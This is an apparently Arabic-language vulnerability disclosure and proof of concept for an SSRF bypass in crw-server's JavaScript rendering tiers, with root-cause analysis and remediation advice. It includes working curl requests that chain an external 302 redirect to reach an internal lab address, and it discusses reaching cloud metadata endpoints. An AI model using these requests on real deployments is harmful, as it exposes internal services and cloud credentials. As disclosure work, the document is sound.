
PoC — SSRF عبر تجاوز طبقة عرض JS لمرشح أمان URL في crw (GHSA-5jp3-339h-vxqw، CVE-2026-87007، CVSS 7.5).
حالة CVE: مطلوبة، في انتظار التعيين. تم نشر هذا الاكتشاف باسم GHSA-5jp3-339h-vxqw. عند تعيين CVE، يُعاد تسمية هذا المستودع إلى
CVE-YYYY-NNNNN-crw-PoCوتُستبدل هذه اللافتة برابط CVE.
| الباحث | Dostxodjayev Abdullox (@squeeze440) |
| الاستشارة | GHSA-5jp3-339h-vxqw |
| CVSS 3.1 | 7.5 (مرتفع) |
| الضعف | CWE-918 |
الملخص
في crw-server، يتم فرض قائمة السماح/المنع الخاصة بـ SSRF (crw_core::url_safety) مرة واحدة فقط، مقابل url المقدَّم من المستدعي، قبل إرسال الطلب إلى المُصيّر؛ ثم تقوم طبقات تصيير JavaScript المدفوعة بـ CDP (LightPanda — مُصيّر JS الافتراضي — وChrome) بتوجيه الصفحة الهدف عبر Page.navigate وتتبع كل إعادة توجيه لاحقة، وتنقّل مُفعَّل بـ JS، وXHR/fetch داخل الصفحة بالكامل داخل مكدس الشبكة الخاص بالمتصفح نفسه، دون أي استدعاء إضافي لـ url_safety في أي نقطة، مما يسمح لمستدعٍ مُصادَق عليه (أو، في نشر افتراضي بدون مفتاح، غير مُصادَق عليه) يضبط renderJs:true بتحويل الزاحف إلى نطاق عناوين RFC1918/loopback/link-local عبر إعادة توجيه خارجية مفتوحة واحدة وقراءة استجابة الخدمة الداخلية في جسم استجابة API.
المنتج
fastCRW / crw — crw-server (واجهة REST API، يمكن الوصول إليها بشكل مماثل عبر طبقة أدوات MCP داخل العملية crw-mcp، التي تستدعي نفس مسار الكود crw_server::routes::mcp::call_tool).
الإصدار المُختبَر
Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0، رأس main وقت الاختبار)، مبني ومُشغَّل عبر docker-compose.yml --profile heavy الخاص بالمشروع.
CVSS v3.1 المُقدَّر
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (مرتفع)
PR:N: الإعداد الافتراضي للاستضافة الذاتية المُشحون (config.docker.toml) لا يحتوي على قسم [auth]/api_keys، بما يطابق الافتراضي "مفتوح بالتصميم" الموثَّق بالفعل في GHSA-qq8c-fch4-cxq7. النشر الذي يضبط مفاتيح API يخفّض هذا إلى PR:L (أي مستأجر مُصادَق عليه واحد لا يزال بإمكانه تحويل المحرك المشترك إلى أي شبكة داخلية يعمل عليها) — الخطأ لا يُخفَّف بإضافة مفاتيح، بل يُعاد تقييده فقط.I:N/A:N: يُظهر PoC قراءة استجابة HTTP داخلية (السرية). لم يُنفَّذ أو يُدَّعى أي إجراء كتابة/تغيير حالة ضد هدف داخلي.S:U: الكشف يتم بالكامل عبر قناة استجابة API الخاصة بالمكوّن المُعرَّض نفسه.التفاصيل
السبب الجذري: مسار مُصيّر CDP/المتصفح لا يستدعي crw_core::url_safety أبدًا بعد الفحص الواحد الذي يتم في طبقة المسار.
crates/crw-server/src/routes/scrape.rs:29-34 (بشكل مماثل في crawl.rs:47/136، map.rs:73/58، extract.rs:178/95، batch.rs:111/102، v2/*، routes/mcp.rs:25) — فحص SSRF الوحيد في دورة حياة الطلب بأكملها لطلب مُصيَّر بـ JS: يعمل crw_core::url_safety::validate_safe_url_resolved(&parsed_url) مرة واحدة مقابل url الحرفي للمستدعي، قبل استدعاء المُصيّر أبدًا.crates/crw-renderer/src/cdp.rs:2621-2631 — مستقبل work في fetch_inner يرسل Page.navigate مع url الخام مباشرة إلى نقطة نهاية CDP (مشتركة بين طبقتي chrome وlightpanda — كلاهما يتحدث CDP عبر هذه الدالة نفسها). ثم يقوم Chrome/LightPanda بإجراء تحليل DNS الخاص به ويتتبع أي إعادة توجيه من جانب الخادم، أو <meta http-equiv="refresh">، أو تغيير location بـ JS داخليًا. لا يوجد أي استدعاء لـ url_safety في أي مكان في cdp.rs.crates/crw-renderer/src/blocklist.rs:1-124 — منطق اعتراض Fetch.requestPaused الوحيد لكل طلب الذي يعمل أثناء تصيير CDP (موصول في cdp.rs حول الأسطر 930-1002). يقوم بتصفية مضيفي الإعلانات/المتتبعات وأنواع الموارد المحظورة (الصور، الخطوط، إلخ) لأسباب النطاق الترددي/الضجيج فقط — لا يتحقق أبدًا من وجهة الطلب مقابل نطاقات private/loopback/link-local.crates/crw-crawl/src/single.rs:559-569 — المكان الوحيد الذي يتم فيه فحص final_url بعد التنقل على الإطلاق. يقرر redirect_is_material() فقط ما إذا كان سيُرفق سلسلة تجميلية "redirected_to: <url>" بـ data.warnings (لتمييز "لقد حصلت على الصفحة الخطأ"، وفقًا للتعليق الذي يشير إلى northernair.ca) — لا يستدعي أبدًا url_safety::validate_safe_url* ولا يُفشل الطلب أبدًا.crates/crw-renderer/src/http_only.rs:291 — طبقة HTTP العادية (غير JS) تُغلّف reqwest::Client الخاص بها بشكل صحيح في crw_core::url_safety::safe_redirect_policy()، الذي يعيد التحقق (مع تحليل DNS) من كل قفزة إعادة توجيه. هذه بالضبط الحماية المفقودة من طبقات CDP. تم التأكيد ديناميكيًا: نفس طلب PoC مع renderJs:false يُرفض بشكل صحيح ("error following redirect"، انظر لقطة الشاشة الأساسية).إثبات المفهوم
تم التأكيد ديناميكيًا مقابل مكدس docker-compose.yml --profile heavy الخاص بالمشروع (crw + lightpanda + chrome، مبني من الـ commit المُختبَر).
crw/chrome/lightpanda (docker network: source_default)، على العنوان الخاص 172.19.0.6 — حاوية nginx عادية تخدم صفحة بمحتوى يبدو داخليًا واقعيًا (العنوان "Internal Ops Console"، قيمة على شكل رمز جلسة).curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
evidence/ssrf_baseline_blocked.png)curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
HTTP 200، "success":true، "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — محتوى الخادم الداخلي يُعاد إلى المستدعي؛ تحذير redirected_to الخاص بالأداة يُظهر أنها تعلم أنها تتبعت الطلب إلى العنوان المحظور وتعيد المحتوى على أي حال. (لقطة شاشة: evidence/ssrf_chrome_tier_bypass.png)"renderJs":true وحده — الطريقة العادية التي يطلب بها المستدعي تصيير JS): اختار السلم lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}، "renderedWith":"lightpanda") وأعاد نفس المحتوى الداخلي، مما يثبت أن كلا طبقتي CDP (وليس chrome فقط) تشتركان في الثغرة.https://httpbin.org/redirect-to يمثل "أي URL يمكن الوصول إليه خارجيًا يعيد 302"؛ سيقوم مهاجم حقيقي باستضافته على نطاقه الخاص. 172.19.0.6 يمثل أي عنوان في النطاقات التي صُمم url_safety لحظرها (RFC1918، loopback، link-local/169.254.169.254 بيانات وصفية سحابية، .internal) — يحدث التجاوز قبل تشغيل أي فحص نطاق (مسار CDP لا يستدعي url_safety على الإطلاق)، لذا فهو ليس خاصًا بهذا النطاق المحظور الواحد. لم تكن نقطة نهاية بيانات وصفية سحابية حية متاحة في هذا المختبر المحلي، لذا لم يُنفَّذ ذلك الهدف المحدد مباشرة؛ إنه استقراء مباشر متتبع بالكود، وليس ادعاءً غير مُختبَر.
التأثير
أي مستدعٍ قادر على الوصول إلى /v1/scrape، /v2/scrape، /v1/crawl، /v1/map، /v1/extract، مكافئاتها batch/v2، أو أدوات MCP المكافئة — مع renderJs:true — يمكنه استخدام نشر crw الهدف كوسيط شبكة داخلية مفتوح: قراءة الاستجابات من خدمات loopback الخاصة بالناشر، والخدمات الداخلية ذات عناوين RFC1918 (قواعد البيانات، لوحات الإدارة، واجهات API الداخلية)، و— في أي نشر مستضاف سحابيًا — نقطة نهاية البيانات الوصفية السحابية للنسخة (169.254.169.254)، مما قد يستعيد بيانات اعتماد IAM/النسخة. في الإعداد الافتراضي للاستضافة الذاتية المُشحون (بدون مفاتيح API مُهيأة) لا يتطلب هذا أي مصادقة على الإطلاق.
نقاط الضعف
المعالجة
مضخة اعتراض Fetch.requestPaused الموصولة بالفعل بطبقات CDP (crates/crw-renderer/src/cdp.rs، مدفوعة بـ Blocklist في blocklist.rs) هي نقطة الخنق الطبيعية: وسّعها (أو أضف فحصًا شقيقًا يُستدعى من نفس المضخة، لكل من خلفيتي chrome وlightpanda) لاستدعاء crw_core::url_safety::validate_safe_url مقابل URL كل طلب معترض — يغطي التنقل الأولي، وكل قفزة إعادة توجيه، وكل تنقل مدفوع بـ JS، وكل تحميل XHR/fetch/iframe في نفس الصفحة — وFetch.failRequest أي شيء يُحل إلى مضيف محظور، بما يطابق ما يفعله safe_redirect_policy() بالفعل لطبقة http_only. لاحظ أن هذا يعني أن Fetch.enable/الاعتراض لم يعد بإمكانه البقاء مُعطَّلًا شرطيًا عندما تعتمد حماية SSRF على تشغيله. كدفاع في العمق، حوّل أيضًا فحص final_url الموجود بعد التنقل في crates/crw-crawl/src/single.rs:559-569 من إدخال warnings تجميلي إلى فشل صارم عبر url_safety::validate_safe_url_resolved، لالتقاط أي شيء يتسلل عبر الاعتراض (مثلًا استجابة أولى جدًا تتسابق مع إعداد Fetch.enable).
الفضل
Dostxodjayev Abdullox
قناة الإبلاغ
.github/SECURITY.md (المعروض على https://github.com/us/crw/security): الإبلاغ الخاص عن الثغرات في GitHub هو القناة المفضلة ("افتح تقريرًا من علامة تبويب Security في هذا المستودع")، مع [email protected] كبديل بالبريد الإلكتروني. تم التأكيد أنه حي ومفتوح فعليًا لهذا المستودع: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true، ولوحظ زر "Report a vulnerability" حي على https://github.com/us/crw/security (يربط بـ https://github.com/us/crw/security/advisories/new). يتضمن بيان النطاق في تلك الصفحة صراحةً "الملف التنفيذي crw-server وجميع حزم مساحة العمل في هذا المستودع" و"خادم MCP (crw-mcp)"؛ ويستثني "المتصفحات بلا واجهة من طرف ثالث (Chromium، Lightpanda) التي يستدعيها المُصيّر" — هذا الاكتشاف يتعلق بالتحقق المفقود من جانب crw نفسه حول استدعاء تنقل CDP، وليس خطأً في Chromium/Lightpanda نفسه، لذا فهو ضمن النطاق.